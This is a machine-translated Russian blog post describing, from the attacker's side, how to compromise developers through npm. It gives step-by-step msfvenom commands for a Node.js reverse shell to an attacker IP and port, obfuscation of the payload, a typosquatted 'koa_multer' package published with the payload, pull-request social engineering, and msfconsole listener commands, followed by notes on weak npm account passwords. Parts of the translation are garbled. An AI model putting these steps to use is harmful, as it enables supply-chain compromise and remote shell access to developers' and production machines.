Эта статья была впервые опубликована в моей колонке ноу-хау HackingSexy:zhuanlan.zhihu.com/p/43514079
ТЛ, ДР:
Эта статья описывает с точки зрения хакера, с целью проникновения во внешние проекты, от создания полезных нагрузок, обфускации, сокрытия полезных нагрузок, публикации npm, социальной инженерии PR, запуска сценариев, обратного подключения к атакующему хосту и, наконец, получения host История серверной оболочки.
положительный:
Какова мантра фронтенд-инженеров? нпм установить!
Эта команда загружает кучу зависимостей, объявленных в проекте package.json из репозитория npm.После загрузки зависимостей загружаем зависимости, объявленные в package.json в файле dependencies.После загрузки зависимостей загружаем зависимости в package.json объявления в зависимостях.Зависимости, объявленные в package.json в зависимостях, после загрузки зависимостей......
Затем загрузите кучу пакетов npm, откуда вы даже не знаете, откуда они взялись.
Какие другие интерфейсные инженеры мантры? NPM запустить dev!
Эм! Интерфейс показывает, что компиляция прошла успешно! Идеальная компиляция! Вы думаете, что пришло время показать настоящую технологию!
В этот момент на другом конце сетевого кабеля хакер слегка улыбнулся: еще один бройлер в сети.
Что произошло между ними?
Создать полезную нагрузку
Опытные рыболовы знают, что если вы хотите ловить рыбу, вы должны сначала сделать крючок. Хакеры тоже хотят ловить рыбу, что такое крючок? В мире хакеров есть магазин рыболовных крючков под названием msfvenom, который специализируется на рыбе (машинах) различных стилей (рамок), типов (структур) и типов (языков) и чисел (языков). msfvenom является частью metasploit и интегрирован в систему Kali. На официальном сайте Kali есть готовые образы виртуальных машин, которые можно использовать после скачивания.
Введите в терминале Кали:
msfvenom -l | grep node
Можно перечислить все полезные нагрузки, поддерживающие Node.js. Это равносильно тому, чтобы пойти в магазин и спросить: Босс! Я хочу купить рыболовные крючки! Такой, который может ловить Node.js! Босс: Хорошо! Какую ты хочешь?
Здесь мы выбираем nodejs/shell_reverse_tcp, На самом деле, наиболее часто используемая полезная нагрузка в отрасли — это meterpreter, но этот рыболовный крючокеще не в списке:
Как сгенерировать нашу полезную нагрузку, введите:
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.199.165 LPORT=5432 -o index.js
Вот параметры конфигурации:
- -p nodejs/shell_reverse_tcp означает, что мы хотим использовать полезную нагрузку nodejs/shell_reverse_tcp.
- LHOST=192.168.199.165 относится к IP-адресу атакующего хоста.Поскольку эта атака является демонстрацией внутренней сети, используется IP-адрес внутренней сети. В случае атаки из общедоступной сети необходимо настроить IP-адрес общедоступной сети.
- LPORT=5432 Порт прослушивания атакующего хоста.После запуска полезной нагрузки атакуемая сторона попытается подключиться к этому порту атакующего хоста.
- -o index.js означает вывод в файл index.js.
После ввода команды мы можем получить полезную нагрузку с именем index.js в текущем каталоге, который является хуком, который мы только что купили. Полезная нагрузка очень мала, всего 803 байта. использовать
cat index.js
Команда, вы можете увидеть, как выглядит полезная нагрузка.
В это время выскочит алертный фронтенд и скажет: Дно сундука, вы вызываете cmd и /bin/sh в этом коде, а также выставляете IP атаки и порт, так что дурак будет запускать ваш код, правильно ?
Не волнуйтесь, шоу только началось.
затемнять
Традиционное антивирусное программное обеспечение определяет характеристики вируса, обнаруживая определенные символы в файлах, и, обходя обнаружение антивирусного программного обеспечения, изменяя код сигнатуры, мы называем это антивирусом.
И изменения в JavaScript более гибкие, чем у Луффи в One Piece.
Например, простая строка кода:
alert(1)
использоватьjsfuckМожет сделать так, чтобы даже мать не узнала:
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
Конечно, нам не нужно использовать JSFuck, потому что запутанный код слишком велик.
Внешний интерфейс любит использовать UglifyJS для сжатия кода, но в данном случае это может быть неоптимальным решением. Мы используем инструмент JavaScript Obfuscator.
Скопируйте полезную нагрузку и откройте ее.obfuscator.io/, вставьте, выберите метод запутывания, который нужно добавить по своему вкусу, нажмите «Запутать», и блюдо готово.
Теперь, когда ни один человек не может прочитать этот код, задача запутывания завершена.
скрыть полезную нагрузку
npm — это житница коммунизма, каждый может добавить в npm свой собственный код. Но как заставить других скачивать наш код? Это глубокое знание.
Общая идея состоит в том, чтобы сделать имя пакета, которое очень похоже на нормальное имя пакета NPM, такого как KOA-MULTER, вы можете сделать KOA_MULTER, а затем некоторые люди сделают опечатку и загружают пакет, содержащую полезную нагрузку. Это вопрос вероятности, чем больше общее количество загружено KOA-MULTER, тем больше количество загружено KOA_MULTER.
Возьмите koa-multer в качестве примера, давайте сначала загрузим клон кода.
git clone GitHub.com/Смотри ах-модули…
Скопируйте созданную нами полезную нагрузку в путь к проекту и включите этот файл в index.js.
поместите package.json иREADME.mdМеняем все koa-multer на koa_multer, а имя файла полезной нагрузки объявляем в файлах package.json, и мы делаем npm-пакет с полезной нагрузкой.
Получив этот пакет, вы можете опубликовать его в источнике npm:
npm publish
Для демонстрации я настроил сервер npm локально.
Видно, что этот пакет практически идентичен правильному koa-multer. Если вы не углубитесь в исходный код, внешний интерфейс не обнаружит, что загружает неправильный пакет.
Следующее, что нужно сделать, это подождать. Так же, как и на рыбалке, требуется терпение.
В это время выскочит бдительный фронтенд-инженер и скажет: Вы же видите, что этот пакет — лохотрон, и я точно не настолько глуп, чтобы установить такой пакет!
Не волнуйтесь, есть другие способы.
Другая идея состоит в том, чтобы создать общий пакет npm, такой как пакет, который может регистрировать разноцветные цвета, а затем отправить PR в другие проекты с открытым исходным кодом:
Я исправил для вас проблему XXX и добавил функцию регистратора цвета!
Мы вносим свой вклад в сообщество открытого исходного кода!
Конечно, бдительные люди отвергнут этот пиар. Но это не беда, пиарщиков много, и всегда найдутся люди, которые клюнут.
Поддельный пакет npm не является проблемой, равно как и злонамеренный PR, одобренный неизвестным проектом. Точно так же запрос нельзя назвать атакой, но когда приходят миллионы запросов, вы знаете, насколько ужасен DDOS.
Хакеры могут полностью автоматизировать логику загрузки пакетов npm, подделки кода и публикации. После этого проблема не только в koa_multer, нужно остерегаться koa-multe, multer-koa, koa-multer-middleware и прочих странных пакетов npm, а также различать разницу между "_" и "-", т.е. конечно, не только пакет koa-multer, все другие пакеты могут делать то же самое.
Какими бы бдительными и осторожными вы ни были, всегда найдутся места, которые вы не заметите. Подобно непробиваемому Ахиллесу, однажды в пятку вонзится стрела.
Кроме того, большинство пакетов npm являются иерархическими зависимостями, вы можете гарантировать, что невозможно объявить троянизированный пакет в вашем package.json, но вы можете гарантировать, что пакеты, от которых вы зависите, авторы этих пакетов, так же бдительны, как и вы. , Не беспечно?
Взлом готов
Хакерская сторона, нужно быть готовым обработчиком.
войти:
msfconsole
Войдите в консоль метасплоита. Затем введите:
use exploit/multi/handler
Используйте модуль обработчика. И установите полезную нагрузку в модуле обработчика, атакуйте IP-адрес хоста, атакуйте порт хоста и начните слушать:
set payload nodejs/shell_reverse_tcp set LHOST 192.168.199.165 set LPORT 5432 run
Как показано на рисунке, мониторинг обратного TCP успешно запущен:
Бройлер онлайн
В это время мышь запускала демо-код в koa_multer!
Со стороны хакера сессию для этого шелла можно получить сразу:
Здесь хакер получает права пользователя для запуска программы Node.js и может выполнять любую команду, которую разрешено выполнять пользователю. Например, проверьте операционную систему, проверьте модель процессора...
sw_vers # Просмотр операционной системы
sysctl -n machdep.cpu.brand_string # Просмотр операционной системы
Если программа развернута на производственном сервере, хакер сможет получить доступ к серверу через оболочку.
Проникновение в интранет, снятие штанов, жеребец, диверсия... С оболочкой действительно можно делать все, что угодно.
Сделанный?
Это еще не конец, волнение еще впереди.
Слабые пароли для учетных записей npm
В июле 2017 года кто-то обнаружил слабый пароль в учетной записи npm, и результат обнаружения был следующим:
Пакеты npm, выпущенные учетными записями со слабыми паролями, составляют 14% всего сайта.
Из-за взаимозависимости существования пакетов npm проблемы безопасности, вызванные этими 14% пакетов, влияют на другие пакеты, на которые приходится 54% всего сайта.
Это означает, что каждый раз, когда вы устанавливаете npm дважды, вы один раз устанавливаете небезопасный пакет. Это не паникёр. Известный koa.js, выпущенный пароль — «пароль», не застрахованы и такие звездные проекты, как react и gulp. Вот некоторые другие пакеты npm, на которые влияют слабые пароли, я думаю, всегда есть имена, с которыми вы знакомы:
- debug
- qs
- yargs
- request
- chalk
- form-data
- cheerio
- gulp
- browserify
- bower
- mongoose
- electron
- normalize.css
- mysql
Это чистая удача, что у npm до сих пор не было серьезных проблем с безопасностью.
Итак, давайте пожелаем npm удачи навсегда.
Примечание: Эта статья предназначена для обмена и обсуждения, автор не проникал ни в какие системы. В случае проникновения в соответствии с идеями этой статьи читатель несет риск и ответственность. Автор не несет никакой ответственности.
Справочная документация: